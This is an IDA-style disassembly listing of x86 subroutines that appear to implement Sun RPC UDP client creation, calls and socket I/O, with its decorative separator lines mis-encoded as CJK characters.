陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064074 proc near ; DATA XREF: sub_8063B04+1D5o var_54 = byte ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 48h push edi push esi push ebx mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_806408C xor eax, eax jmp loc_8064169 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806408C: ; CODE XREF: sub_8064074+Ej lea edx, [ebp+var_20] xor eax, eax mov ecx, 8 mov edi, edx cld repe stosd mov eax, [ebp+arg_0] mov eax, [eax] bts [ebp+var_20], eax loc_80640A4: ; CODE XREF: sub_8064074+8Fj lea edx, [ebp+var_40] lea esi, [ebp+var_20] mov edi, edx cld mov ecx, 8 repe movsd mov eax, [ebp+arg_0] mov edx, [eax+8] mov [ebp+var_48], edx mov edx, [eax+0Ch] mov [ebp+var_44], edx lea edx, [ebp+var_48] push edx push 0 push 0 lea edx, [ebp+var_40] push edx call sub_80649C0 mov edx, eax push edx call select mov edx, eax add esp, 14h cmp edx, 0FFFFFFFFh jz short loc_80640FC test edx, edx jnz short loc_8064120 mov ecx, [ebp+arg_0] mov dword ptr [ecx+24h], 5 mov eax, 0FFFFFFFFh jmp short loc_8064169 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80640FC: ; CODE XREF: sub_8064074+70j cmp __errno, 4 jz short loc_80640A4 mov edi, [ebp+arg_0] mov dword ptr [edi+24h], 4 mov edx, __errno mov [edi+28h], edx mov eax, 0FFFFFFFFh jmp short loc_8064169 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064120: ; CODE XREF: sub_8064074+74j push ebx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call read mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_8064154 test ebx, ebx jnz short loc_8064167 mov edi, [ebp+arg_0] mov dword ptr [edi+28h], 68h mov dword ptr [edi+24h], 4 mov ebx, 0FFFFFFFFh jmp short loc_8064167 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064154: ; CODE XREF: sub_8064074+C1j mov edx, __errno mov eax, [ebp+arg_0] mov [eax+28h], edx mov dword ptr [eax+24h], 4 loc_8064167: ; CODE XREF: sub_8064074+C5j ; sub_8064074+DDj mov eax, ebx loc_8064169: ; CODE XREF: sub_8064074+12j ; sub_8064074+85j ... lea esp, [ebp+var_54] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8064074 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064174 proc near ; DATA XREF: sub_8063B04+1D0o var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [ebp+arg_8] test ebx, ebx jle short loc_80641B8 nop loc_8064188: ; CODE XREF: sub_8064174+42j push ebx push esi mov eax, [edi] push eax call write add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_80641B0 mov eax, __errno mov [edi+28h], eax mov dword ptr [edi+24h], 3 mov eax, 0FFFFFFFFh jmp short loc_80641BB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80641B0: ; CODE XREF: sub_8064174+24j sub ebx, eax add esi, eax test ebx, ebx jg short loc_8064188 loc_80641B8: ; CODE XREF: sub_8064174+11j mov eax, [ebp+arg_8] loc_80641BB: ; CODE XREF: sub_8064174+3Aj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8064174 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80641C8 proc near ; CODE XREF: sub_8064400+27p ; sub_80649E0+46p var_4C = byte ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 40h push edi push esi push ebx mov edi, [ebp+arg_18] mov esi, [ebp+arg_1C] xor ebx, ebx call sub_805E954 push 0Ch call malloc mov [ebp+var_40], eax add esp, 4 test eax, eax jz short loc_806420E add edi, 3 and edi, 0FFFFFFFCh add esi, 3 and esi, 0FFFFFFFCh lea edx, [edi+esi+64h] push edx call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_8064254 loc_806420E: ; CODE XREF: sub_80641C8+25j push offset aOutOfMemory_0 ; "out of memory" push 1 push 0Ah mov edx, dword_8078F9C push edx call catgets push eax push offset aClntudp_create ; "clntudp_create: %s\n" push offset unk_80787A4 call fprintf mov dword_8079220, 0Ch mov edx, __errno mov dword_8079228, edx add esp, 1Ch jmp loc_80643D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064254: ; CODE XREF: sub_80641C8+44j lea edx, [ebx+esi+60h] mov [ebx+58h], edx push 0 lea edx, [ebp+var_38] push edx call gettimeofday add esp, 8 mov ecx, [ebp+arg_0] cmp word ptr [ecx+2], 0 jnz short loc_806429D push 11h mov ecx, [ebp+arg_8] push ecx mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+arg_0] push ecx call sub_80649E0 add esp, 10h test ax, ax jz loc_80643D8 mov edx, eax xchg dl, dh mov ecx, [ebp+arg_0] mov [ecx+2], dx loc_806429D: ; CODE XREF: sub_80641C8+A9j mov ecx, [ebp+var_40] mov dword ptr [ecx+4], offset off_80791C0 mov [ecx+8], ebx mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebx+8], edx mov edx, [ecx+4] mov [ebx+0Ch], edx mov edx, [ecx+8] mov [ebx+10h], edx mov edx, [ecx+0Ch] mov [ebx+14h], edx mov dword ptr [ebx+18h], 10h mov edx, [ebp+arg_C] mov [ebx+1Ch], edx mov edx, [ebp+arg_10] mov [ebx+20h], edx mov dword ptr [ebx+24h], 0FFFFFFFFh mov dword ptr [ebx+28h], 0FFFFFFFFh mov [ebx+54h], edi mov [ebx+5Ch], esi call getpid mov edx, eax xor edx, [ebp+var_38] xor edx, [ebp+var_34] mov [ebp+var_30], edx mov [ebp+var_2C], 0 mov [ebp+var_28], 2 mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov ecx, [ebp+arg_8] mov [ebp+var_20], ecx push 0 push edi mov edx, [ebx+58h] push edx lea esi, [ebx+38h] push esi call sub_8065408 lea edx, [ebp+var_30] push edx push esi call sub_8064C9C add esp, 18h test eax, eax jz loc_80643D8 mov edx, [ebx+3Ch] push esi mov edx, [edx+10h] call edx mov [ebx+50h], eax add esp, 4 mov ecx, [ebp+arg_14] cmp dword ptr [ecx], 0 jge short loc_80643B8 mov [ebp+var_3C], 1 push 11h push 2 push 2 call socket mov ecx, [ebp+arg_14] mov [ecx], eax add esp, 0Ch test eax, eax jge short loc_8064388 mov dword_8079220, 0Ch mov edx, __errno mov dword_8079228, edx jmp short loc_80643D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064388: ; CODE XREF: sub_80641C8+1A5j push 0 mov ecx, [ebp+arg_14] mov edx, [ecx] push edx call sub_8066A50 lea edx, [ebp+var_3C] push edx push 5421h mov ecx, [ebp+arg_14] mov edx, [ecx] push edx call ioctl mov dword ptr [ebx+4], 1 add esp, 14h jmp short loc_80643BF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80643B8: ; CODE XREF: sub_80641C8+187j mov dword ptr [ebx+4], 0 loc_80643BF: ; CODE XREF: sub_80641C8+1EBj mov ecx, [ebp+arg_14] mov edx, [ecx] mov [ebx], edx call sub_8067094 mov ecx, [ebp+var_40] mov [ecx], eax mov eax, [ebp+var_40] jmp short loc_80643F6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80643D8: ; CODE XREF: sub_80641C8+84j ; sub_80641C8+C4j ... test ebx, ebx jz short loc_80643E5 push ebx call free add esp, 4 loc_80643E5: ; CODE XREF: sub_80641C8+212j cmp [ebp+var_40], 0 jz short loc_80643F4 mov ecx, [ebp+var_40] push ecx call free loc_80643F4: ; CODE XREF: sub_80641C8+221j xor eax, eax loc_80643F6: ; CODE XREF: sub_80641C8+20Bj lea esp, [ebp+var_4C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80641C8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064400 proc near ; CODE XREF: sub_805CE84+3FBp var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_14] push 2260h push 2260h push edx mov edx, [ebp+arg_10] mov esi, [ebp+arg_C] push edx push esi push ecx push eax push ebx call sub_80641C8 lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064400 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064438 proc near ; DATA XREF: .data:080791C0o var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_80 = byte ptr -80h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_50 = byte ptr -50h var_40 = dword ptr -40h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0CCh push edi push esi push ebx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_A8], eax mov [ebp+var_B8], 2 cmp dword ptr [eax+28h], 0FFFFFFFFh jnz short loc_8064474 mov ecx, [ebp+arg_18] mov [ebp+var_C0], ecx mov ecx, [ebp+arg_1C] mov [ebp+var_BC], ecx jmp short loc_806448C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064474: ; CODE XREF: sub_8064438+26j mov edi, [ebp+var_A8] mov eax, [edi+24h] mov [ebp+var_C0], eax mov eax, [edi+28h] mov [ebp+var_BC], eax loc_806448C: ; CODE XREF: sub_8064438+3Aj mov [ebp+var_B4], 0 mov [ebp+var_B0], 0 loc_80644A0: ; CODE XREF: sub_8064438+422j mov ecx, [ebp+var_A8] add ecx, 38h mov [ebp+var_AC], ecx mov edi, [ebp+var_A8] mov dword ptr [edi+38h], 0 mov eax, [edi+3Ch] mov edx, [edi+50h] push edx push ecx mov edx, [eax+14h] call edx mov edx, [edi+58h] inc word ptr [edx] mov ecx, [edi+3Ch] lea edx, [ebp+arg_4] push edx mov edi, [ebp+var_AC] push edi mov edx, [ecx+4] call edx mov edx, eax add esp, 10h test edx, edx jz short loc_806451C mov eax, [ebp+arg_0] mov edx, [eax] mov ecx, [edx+20h] push edi push edx mov edx, [ecx+4] call edx mov edx, eax add esp, 8 test edx, edx jz short loc_806451C mov edi, [ebp+arg_C] push edi mov eax, [ebp+var_AC] push eax mov ecx, [ebp+arg_8] call ecx mov edx, eax add esp, 8 test edx, edx jnz short loc_8064534 loc_806451C: ; CODE XREF: sub_8064438+B1j ; sub_8064438+C9j mov edi, [ebp+var_A8] mov dword ptr [edi+2Ch], 1 mov eax, 1 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064534: ; CODE XREF: sub_8064438+E2j mov eax, [ebp+var_AC] mov edx, [eax+4] push eax mov edx, [edx+10h] call edx mov ebx, eax add esp, 4 loc_8064548: ; CODE XREF: sub_8064438+260j ; sub_8064438+280j mov ecx, [ebp+var_A8] mov edx, [ecx+18h] push edx mov edx, [ebp+var_A8] add edx, 8 push edx push 0 push ebx mov edx, [ecx+58h] push edx mov edx, [ecx] push edx call sendto mov edx, eax add esp, 18h cmp edx, ebx jz short loc_8064594 mov edx, __errno mov edi, [ebp+var_A8] mov [edi+30h], edx mov dword ptr [edi+2Ch], 3 mov eax, 3 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064594: ; CODE XREF: sub_8064438+13Aj cmp [ebp+var_C0], 0 jnz short loc_80645AA cmp [ebp+var_BC], 0 jz loc_80646BE loc_80645AA: ; CODE XREF: sub_8064438+163j mov edx, dword_8079230 mov [ebp+var_74], edx mov edx, dword_8079234 mov [ebp+var_70], edx mov edx, dword_8079238 mov [ebp+var_6C], edx mov ecx, [ebp+arg_14] mov [ebp+var_64], ecx mov edi, [ebp+arg_10] mov [ebp+var_60], edi lea edx, [ebp+var_40] xor eax, eax mov ecx, 8 mov edi, edx cld repe stosd mov eax, [ebp+var_A8] mov eax, [eax] bts [ebp+var_40], eax loc_80645EC: ; CODE XREF: sub_8064438+2A7j ; sub_8064438+31Cj ... lea edx, [ebp+var_20] lea esi, [ebp+var_40] mov edi, edx cld mov ecx, 8 repe movsd mov eax, [ebp+var_A8] mov edx, [eax+1Ch] mov [ebp+var_A0], edx mov edx, [eax+20h] mov [ebp+var_9C], edx lea edx, [ebp+var_A0] push edx push 0 push 0 lea edx, [ebp+var_20] push edx call sub_80649C0 mov edx, eax push edx call select mov edx, eax add esp, 14h cmp edx, 0FFFFFFFFh jz loc_80646D8 test edx, edx jnz loc_8064708 mov ecx, [ebp+var_A8] mov ecx, [ecx+1Ch] add [ebp+var_B4], ecx mov edi, [ebp+var_A8] mov edi, [edi+20h] add [ebp+var_B0], edi cmp [ebp+var_B0], 0F423Fh jle short loc_806468C loc_8064670: ; CODE XREF: sub_8064438+252j inc [ebp+var_B4] add [ebp+var_B0], 0FFF0BDC0h cmp [ebp+var_B0], 0F423Fh jg short loc_8064670 loc_806468C: ; CODE XREF: sub_8064438+236j mov eax, [ebp+var_C0] cmp [ebp+var_B4], eax jl loc_8064548 mov ecx, [ebp+var_C0] cmp [ebp+var_B4], ecx jnz short loc_80646BE mov edi, [ebp+var_BC] cmp [ebp+var_B0], edi jl loc_8064548 loc_80646BE: ; CODE XREF: sub_8064438+16Cj ; sub_8064438+272j mov eax, [ebp+var_A8] mov dword ptr [eax+2Ch], 5 mov eax, 5 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80646D8: ; CODE XREF: sub_8064438+200j cmp __errno, 4 jz loc_80645EC mov edx, __errno mov ecx, [ebp+var_A8] mov [ecx+30h], edx mov dword ptr [ecx+2Ch], 4 mov eax, 4 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064708: ; CODE XREF: sub_8064438+208j ; sub_8064438+313j mov [ebp+var_A4], 10h lea edx, [ebp+var_A4] push edx lea edx, [ebp+var_50] push edx push 0 mov edi, [ebp+var_A8] mov edx, [edi+5Ch] push edx mov edx, [ebp+var_A8] add edx, 60h push edx mov edx, [edi] push edx call recvfrom mov esi, eax add esp, 18h test esi, esi jge short loc_806477C cmp __errno, 4 jz short loc_8064708 cmp __errno, 0Bh jz loc_80645EC jz loc_80645EC mov edx, __errno mov [edi+30h], edx mov dword ptr [edi+2Ch], 4 mov eax, 4 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806477C: ; CODE XREF: sub_8064438+30Aj cmp esi, 3 jbe loc_80645EC mov eax, [ebp+var_A8] mov eax, [eax+58h] mov ecx, [ebp+var_A8] mov edx, [ecx+60h] cmp [eax], edx jnz loc_80645EC push 1 push esi mov edx, [ebp+var_A8] add edx, 60h push edx lea ebx, [ebp+var_98] push ebx call sub_8065408 lea esi, [ebp+var_80] push esi push ebx call sub_8064C48 add esp, 18h test eax, eax jz loc_8064860 mov edx, [ebp+var_A8] add edx, 2Ch push edx push esi call sub_8064DE0 add esp, 8 mov edi, [ebp+var_A8] cmp dword ptr [edi+2Ch], 0 jnz short loc_8064834 mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [eax+20h] lea edx, [ebp+var_74] push edx push eax mov edx, [ecx+8] call edx mov edx, eax add esp, 8 test edx, edx jnz short loc_8064815 mov dword ptr [edi+2Ch], 7 mov dword ptr [edi+30h], 6 loc_8064815: ; CODE XREF: sub_8064438+3CDj cmp [ebp+var_70], 0 jz short loc_806486D mov edi, [ebp+var_AC] mov dword ptr [edi], 2 lea edx, [ebp+var_74] push edx push edi call sub_8064B1C jmp short loc_806486D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064834: ; CODE XREF: sub_8064438+3B2j cmp [ebp+var_B8], 0 jle short loc_806486D mov eax, [ebp+arg_0] mov edx, [eax] mov ecx, [edx+20h] push edx mov edx, [ecx+0Ch] call edx mov edx, eax add esp, 4 test edx, edx jz short loc_806486D dec [ebp+var_B8] jmp loc_80644A0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064860: ; CODE XREF: sub_8064438+38Fj mov edi, [ebp+var_A8] mov dword ptr [edi+2Ch], 2 loc_806486D: ; CODE XREF: sub_8064438+3E1j ; sub_8064438+3F9j ... mov eax, [ebp+var_A8] mov eax, [eax+2Ch] loc_8064876: ; CODE XREF: sub_8064438+F6j ; sub_8064438+157j ... lea esp, [ebp+var_D8] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8064438 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064884 proc near ; DATA XREF: .data:080791C8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [eax+8] mov eax, [edx+2Ch] mov [ecx], eax mov eax, [edx+30h] mov [ecx+4], eax mov eax, [edx+34h] mov [ecx+8], eax mov esp, ebp pop ebp retn sub_8064884 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80648A8 proc near ; DATA XREF: .data:080791CCo var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [eax+8] lea edx, [eax+38h] mov dword ptr [eax+38h], 2 push ecx push edx call ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80648A8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80648D0 proc near ; DATA XREF: .data:080791C4o push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_80648D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80648D8 proc near ; DATA XREF: .data:080791D4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_8] mov eax, [edx+8] mov edx, [ebp+arg_4] dec edx cmp edx, 4 ; switch 5 cases ja short loc_8064968 ; default jmp ds:off_80648F8[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_80648F8 dd offset loc_806490C, offset loc_806491C, offset loc_806494C ; DATA XREF: sub_80648D8+16r dd offset loc_806492C, offset loc_806493C ; jump table for switch statement ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806490C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [ebx] ; case 0x0 mov ecx, [ebx+4] mov [eax+24h], edx mov [eax+28h], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806491C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [eax+24h] ; case 0x1 mov ecx, [eax+28h] mov [ebx], edx mov [ebx+4], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806492C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [ebx] ; case 0x3 mov ecx, [ebx+4] mov [eax+1Ch], edx mov [eax+20h], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806493C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [eax+1Ch] ; case 0x4 mov ecx, [eax+20h] mov [ebx], edx mov [ebx+4], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806494C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [eax+8] ; case 0x2 mov [ebx], edx mov edx, [eax+0Ch] mov [ebx+4], edx mov edx, [eax+10h] mov [ebx+8], edx mov edx, [eax+14h] mov [ebx+0Ch], edx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064968: ; CODE XREF: sub_80648D8+14j xor eax, eax ; default jmp short loc_8064971 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806496C: ; CODE XREF: sub_80648D8+3Fj ; sub_80648D8+4Fj ... mov eax, 1 loc_8064971: ; CODE XREF: sub_80648D8+92j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80648D8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064978 proc near ; DATA XREF: .data:080791D0o var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [esi+8] cmp dword ptr [ebx+4], 0 jz short loc_8064994 mov eax, [ebx] push eax call close add esp, 4 loc_8064994: ; CODE XREF: sub_8064978+Fj mov edx, [ebx+3Ch] cmp dword ptr [edx+1Ch], 0 jz short loc_80649A9 lea eax, [ebx+38h] push eax mov eax, [edx+1Ch] call eax add esp, 4 loc_80649A9: ; CODE XREF: sub_8064978+23j push ebx call free push esi call free lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064978 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 